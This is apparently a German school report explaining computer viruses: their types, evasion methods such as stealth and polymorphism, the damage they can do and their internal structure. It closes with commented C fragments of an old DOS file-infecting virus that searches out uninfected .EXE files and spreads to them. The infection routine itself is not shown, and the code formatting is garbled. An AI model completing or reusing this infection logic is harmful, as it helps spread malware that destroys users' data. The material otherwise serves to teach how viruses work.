Inhaltsverzeichnis: Seite Warum das Thema Computervirus?....................................................................1 Definition............................................................................................................ 1 Grobe Arbeitsweise.............................................................................................1 Virentypen Datei/Linkviren..........................................................................................2 Bootviren................................................................................................... 2 Skriptviren................................................................................................. 2 Makroviren................................................................................................ 3 Kernelviren................................................................................................ 3 Selbstschutz Stealthviren................................................................................................3 Verschlüsselte Viren.................................................................................. 3 Polymorphe/Metamorphe Viren.................................................................4 Mögliche Schäden Harmlose Schäden..................................................................................... 4 Existenzbericht.......................................................................................... 4 Datenzerstörung.........................................................................................5 Hardwarezerstörung.................................................................................. 5 Aufbau der Viren Entschlüsslungsroutine............................................................................. 5 Vermehrungsteil........................................................................................ 6 Erkennungsteil...........................................................................................6 Schadensteil...............................................................................................6 Bedinungsteil.............................................................................................6 Tarnungsteil...............................................................................................6 Analyse eines Virus' Auflistung benutzter Funktionen.............................................................. 7 Der Quelltext............................................................................................. 7 Anhang Warum das Thema Computervirus? Ich habe das Thema Computervirus gewählt, da diese heutzutage eine wichtige Rolle übernommen haben und jeden etwas angehen. Sie haben in so fern eine wichtige Rolle übernommen, da sie unter Umständen wichtige Dateien zerstören können oder sogar ganze Hardwarekomponenten beschädigen und unbrauchbar machen können. Fast jeder Computer ist mit einer Anti-Virus-Software ausgestattet, so beschäftigt sich automatisch jeder – ob gewollt oder ungewollt – mit Viren. Definition Ein Computervirus zeichnet sich dadurch aus, dass er sich in andere Programme schreibt und sich so reproduziert. Die Klassifizierung Virus kommt von eben dieser Verbreitungs- und Infektionsfunktion. Wurde ein Virus gestartet kann er nicht stopbare Veränderungen am Status des Computers bewirken. Es ist nicht immer mit Absicht ein Virus programmiert worden, ein normales Programm kann ebenfalls eine virale Funktion vorweisen, ohne dass der Entwickler davon weiß. Grobe Arbeitsweise eines Virus' Viren brauchen immer eine so genannte Wirtsdatei in die sie sich einschreiben können. Von da aus vermehren sie sich, indem sie sich in andere Dateien schreiben. Dies geschieht oft unkontrolliert und ohne Kenntnisse des Benutzers des Computers. Ebenfalls wird der Schadensteil ausgeführt und kann so von harmlosen Störungen bis hin zu gravierenden Schäden wirken. Virentypen Es gibt viele verschiedene Viren. Sie unterscheiden sich in ihren Wirkungsbereich. Hier beschreibe Ich die unterschiedlichen Virentypen. 1 Datei/Linkviren: Datei- oder Linkviren waren die früher am häufigsten auftretenden Viren. Sie müssen sich in eine ausführbare Wirtsdatei einschreiben. Von dort aus wird die infizierte Datei so verändert, dass das Virus beim Ausführen dieser Datei als erstes gestartet wird. Eine andere Form der Linkviren schreibt sich auch in eine bereits bestehende Programmfunktion ein. So wird der Virus in manchen Fällen nicht gestartet, wenn man die Datei ausführt, sondern wenn man eben diese infizierte Funktion der Datei nutzt. Bootviren: Diese Art von Viren infizieren den Bootsektor einer Diskette und einer Festplattenpartition. Der Bootsektor wird geladen, sobald der Computer in einen Startzustand gebracht wurde, noch bevor das Betriebssystem geladen wird. So können Viren in das Betriebssystem, welches nach ihnen geladen wird, eingreifen und dieses nachhaltig verändern oder gar nicht erst ausführen lassen. Der Nachteil von Bootviren ist, dass sie von der Größe her sehr klein gehalten werden müssen. Ein Bootsektor hat 512 Bytes. Ein Teil davon wird für den BIOS benötigt, in den meisten Fällen bleiben dann noch ca. 450 Bytes übrig. Mittlerweile gibt es nicht nur Bootviren für Disketten, sondern auch für CD-Roms, jedoch gibt es heutzutage kaum noch diese Art von Virus, da die meisten BIOS und Betriebssysteme einen guten Schutz aufweisen können. Skriptviren: Auch ein Skriptvirus muss sich eine geeignete Wirtsdatei suchen und sich in diese schreiben. Skripte sind auf Webservern eingebettete Teile, die mit normalem HTML nicht realisierbar sind, wie zum Beispiel Foren und Gästebücher. Mögliche Skriptsprachen sind PHP oder auch JavaScript. Schreibt es sich dennoch in HTMLDateien, dann besitzt diese einen Skriptbereich in welchen sich das Virus schreibt. Von hier wird es Schritt für Schritt, unabhängig vom Betriebssystem, von einem Interpreter ausgeführt und nicht von einem Compiler in Maschinensprache übersetzt. 2 Makroviren: Makros werden von vielen Office-Dokumenten verwendet, um wiederholend auftretende Aufgaben zu automatisieren. Daher werden Makros automatisch nach dem Laden des Dokuments ausgeführt, ein bevorzugter Ort der Viren. Kernelviren: Der Kernelvirus ist ein Beispiel für einen so genannten Mischvirus. Er fällt nicht in eine eindeutige Kategorie, sondern fällt unter Dateiviren und Bootviren. Der Kernelvirus befällt Dateien, die nach Systemstart geladen werden. Unter Windows sind Dateien, die der Kernelvirus befällt die IO.SYS und die MSDOS.SYS. Selbstschutz Damit Viren von der Firewall und Antivirenprogrammen nicht sofort erkannt und eliminiert werden, verfügen Viren über einen Selbstschutz um diese zu umgehen. Stealthviren: Stealthviren fangen Systemabfragen an die Datei ab. Wird nach der Größe gefragt gibt ein solcher Virus die Größe der ursprünglichen Datei zurück. Wenn die Datei gelesen werden soll, gibt es die Daten der ursprünglichen Datei wieder. So ist scheinbar mit der Datei alles in Ordnung und das Virus wird nicht erkannt. Verschlüsselte Viren: Diese Viren verschlüsseln sich selbst. Wird die Datei abgelesen erkennt ein Antivirenprogramm das Virus nicht an seiner Zeichenfolge. Die Entschlüsselungsroutine muss allerdings vorliegen, sodass an dieser ein gutes Antivirenprogramm das Virus erkennen kann. 3 Polymorphe/Metamorphe Viren: Auch diese Viren benutzen im Prinzip die Verschlüsselungsmethode. Sobald polymorphe Viren sich reproduzieren verändern die komplett ihre Gestalt. Der komplette Code wird „umgeschrieben“, hat dennoch die gleiche Funktion. Ein Teil des Virus' muss allerdings auch hier in unverschlüsselter Form vorliegen, um den Rest zu entschlüsseln. Um auch diesen Teil zu verstecken, wird die Entschlüsselungsroutine jedes Mal neu und anders geschrieben. Metamorphe Viren ändern ebenfalls ihre Gestalt, nur werden diese zuerst zurück in ihre Assemblersprache übersetzt. Da hier mehrere Möglichkeiten für einen Befehl zur Verfügung stehen, kann man das Virus komplett umschreiben, ohne dass dabei die Funktion verloren geht und somit ist dieses am schwersten zu entdecken, erfordert im Gegenzug allerdings auch sehr viel Wissen vom Ersteller. (Beispiel: siehe Anhang Bild1) Mögliche Schäden Nun habe Ich die verschiedenen Virentypen und ihre Möglichkeiten sich „unsichtbar“ zu machen erläutert. Jetzt komme ich auf den am Anfang erwähnten möglichen Schadensteil der Viren zurück und erkläre etwas zu den Schäden die entstehen können. Harmlose Auswirkungen: Ein Virus muss, um sich selbst zu verbreiten, die Leistung der Hardware kennen und diese nutzen. Von daher greift jedes Virus auf den Speicher des Computers zu und braucht nach dem Reproduzieren auch zusätzlichen Speicherplatz auf der Festplatte. Bei heutigem Arbeitsspeicher und der Festplattengrößen fallen dem Benutzer diese Viren gar nicht mehr auf. Sie sind nur dazu da sich zu verbreiten. Existenzbericht: Die so genannten „Existenzviren“ sind dazu da, dem Benutzer ihre Existenz zu offenbaren und diesen zu nerven. Ansonsten ist ihre Auswirkung harmlos. Dies sieht meist so aus, dass der Computer ein Piepsen von sich gibt, Meldungsboxen auf dem Bildschirm erscheinen, oder der Bildschirm komplett verzerrt wird. Auch gibt es Viren, die dem Benutzer einen BlueScreen vorgaukeln. 4 Datenzerstörung: Viren, die gezielt auf Datenzerstörung programmiert sind, sind so genannte „Kamikaze-Viren“. Sie manipulieren den Inhalt ihrer Wirtsdatei und können diese somit komplett löschen oder zerstören. Diese Datenzerstörung kann auf einzelne Dateien beschränkt sein, sie kann aber auch für eine komplette Formatierung der Festplatte verantwortlich sein. Der Begriff Kamikaze-Virus kommt daher, dass der Speicherplatz den Lebensraum des Computervirus darstellt und dieser mit der Datenzerstörung ebenfalls zerstört wird. Hardwarezerstörung: Um eine Zerstörung der Hardware herbeizuführen bedarf es ein wenig mehr Können vom Programmierer. Außerdem ist das Zerstören nicht bei jeder Hardware möglich. Man muss von der Software aus auf die Hardware zugreifen können. Früher konnte man Monitore zerstören, in dem man eine bestimmte Taktfrequenz an diesen gesendet hat, dies ist heutzutage kaum noch möglich. Wenn es möglich ist, kann man auch über die Software zum Beispiel die Grafikkarte übertakten, so dass diese „heiß läuft“ und kaputt geht. Allerdings muss man dafür genau die Hardware kennen und das Virus auf diese spezialisieren. Dies gestaltet sich als ziemlich schwierig und daher sind Hardware zerstörende Viren nur selten anzutreffen. Aufbau der Viren Nicht jedes Virus muss sich an diesen Aufbau halten. Sie können stark voneinander abweichen und keiner gleicht dem anderen. Ich werde hier nur die am häufigsten vorkommenden Strukturen eines Virus' erläutern. (Grafische Veranschaulichung: siehe Anhang Bild2) Entschlüsselungsroutine: Die Entschlüsselungsroutine sorgt dafür, dass verschlüsselte Viren (siehe Selbstschutz) wieder entschlüsselt werden und zum Laufen gebracht werden. Jedes verschlüsselte Virus hat seine eigene Entschlüsselungsroutine. 5 Vermehrungsteil: Laut Definition muss jedes Virus einen Vermehrungsteil besitzen. Dieser ist dafür verantwortlich Dateien zu suchen, welche noch nicht infiziert wurden und benutzt diese als Wirtsdatei, indem es sich in diese schreibt. Erkennungsteil: Der Erkennungsteil ist ein Teil des Vermehrungsteils. Er überprüft, ob die gefundene Datei bereits infiziert wurde. Wenn nicht, dann setzt hier der Vermehrungsteil ein. Schadensteil: Der Schadensteil ist nur bei sehr wenigen Viren vorzufinden. Dieser Teil ist für den Schaden, den das Virus anrichten soll verantwortlich. Er zerstört Dateien, führt schädliche, Software gesteuerte Einstellungen aus usw. (siehe Mögliche Schäden) Bedinungsteil: Dieser Teil sorgt dafür, dass der Schadensteil ausgeführt wird. Ist er nicht vorhanden, wird der Schadensteil immer beim Ausführen der Datei ausgeführt. Dank dem Bedinungsteil ist es möglich, das Virus zu einem gewünschten Zeitpunkt auszuführen, oder erst dann, wenn ein bestimmtes Ereignis ausgeführt wird, zum Beispiel zum Schließen eines Programms, nach dessen Start. Tarnungsteil: Der Tarnungsteil verschlüsselt das Virus (siehe Selbstschutz). Er dient dazu das Virus so gut wie möglich vor Anti-Viren-Programmen zu schützen und dessen Identität zu verschleiern. Analyse eines Virus' Hier werde Ich den Quelltext eines Virus' genauer erläutern und Zeile für Zeile beschreiben, was geschieht. Es wird nur der eigentliche Quelltext, der für Vermehrung und Schaden verantwortlich ist gezeigt, die entsprechenden Funktionen werde ich, bis auf eine Auflistung dieser, aus Platzgründen weglassen. 6 Auflistung der benutzten Funktionen: int find_first(char *fn); int find_next(void); int find_healthy(void); void infect(void); void close_handle(void); void open_handle(char *fn); void print_s(char *s); void restore_timestamp(void); Der Quelltext: int main( void ) { int x = 0; do { if ( find_healthy() ) { / Hier überprüft das Virus, ob eine unfizierte Datei vorhanden ist. infect(); / Wenn ja, dann infiziere diese Datei! x++; / Die Variable x wird um 1 erhöht. success++; / Zählt unsere Erfolgsrate um 1 höher. } else { / Falls keine uninfizierte Datei vorhanden ist... _DX = (int) ''..''; / ...versuchen wir einen Ordner höher zu gehen... _AH = 0x3b; / ... und versuchen... asm / ...dort unser Glück. int 21H x++; / Um Endlosschleifen zu vermeiden, zählen wir auch hier 1 zu unserer Zähler-Variable hinzu. } } while(x < infection_rate); / Das Ganze soll solange getan werden, bis das Virus genügend Dateien infiziert hat. if ( success ) print_s( fake_msg ); / Sobald etwas infiziert wurde ... / ... geben wir dem Infizierten eine Nachricht aus. 7 else / Ansonsten ... if ( diseased_count > 6 ) / ... überprüfen wir, ob im Verzeichnis mehr als 6 Dateien infiziert sind. for ( x = 0; x < 3; x++ ) print_s( virus_msg[x] ); / Wenn JA, dann gebe 6 Meldungen aus. else print_s( fake_msg ); / Ansonsten ... / Gebe trotzdem eine „Fake-Message“ aus. return; } 8 Anhang Bilder: Bild1 Dies ist ein Ausschnitt aus dem Computervirus Anna Kournikova. Er verbreitet sich über eMail und ist stark polymoprh. Er verändert die Funktionsnamen von Generation zu Generation. Bild2 Dieses Bild dient nur zur grafischen Veranschaulichung des Aufbaus. Von links nach rechts werden die Teile immer „gefährlicher“. Das Reproduzieren an sich ist harmlos. Der Bedinungsteil steht hinter dem Schadensteil, da dieser den Schadensteil steuert. Der Tarnungsteil ist am gefährlichsten, da dieser es unter Umständen unmöglich macht den Virus zu erkennen. Benutzte Funktionen bei der Virusanalyse: Die find-healthy Funktion: int find_healthy( void ) { if ( find_first(„*.EXE“) != NO_MATCH ) / Zuerst wird überprüft, ob es eine .exe-Datei hier gibt. if ( healthy() ) / Wenn JA, gucken wir, ob die Datei bereits infiziert ist oder nicht. return 1; / Ist sie noch gesund, gebe eine 1, bzw. ein TRUE zurück. else while ( find_next() != NO_MATCH ) / Ansonsten soll die nächste Datei untersucht werden. if ( healthy() ) return 1; Else / Auch hier: Ist sie gesund ... / ... geben wir ein OK. / Wenn nicht, wiederholen wir das Ganze while ( find_next() != NO_MATCH ) if ( healthy() ) return 1; return 0; / Sind bereits alle Dateien infiziert oder gibt es hier keine .exe, dann geben wir eine 0, bzw. ein FALSE zurück. } Quellenangabe: http://de.wikipedia.org/ http://www.totallygeek.com/ http://www.tomshardware.com/de/ http://www.symantec.com/ http://www.welt.de/ http://www.trojaner-board.de/ Darüber hinaus MSN-Kontakte, welche Informationen auf den verschiedenen Seiten korrigiert und etwas hinzugefügt haben.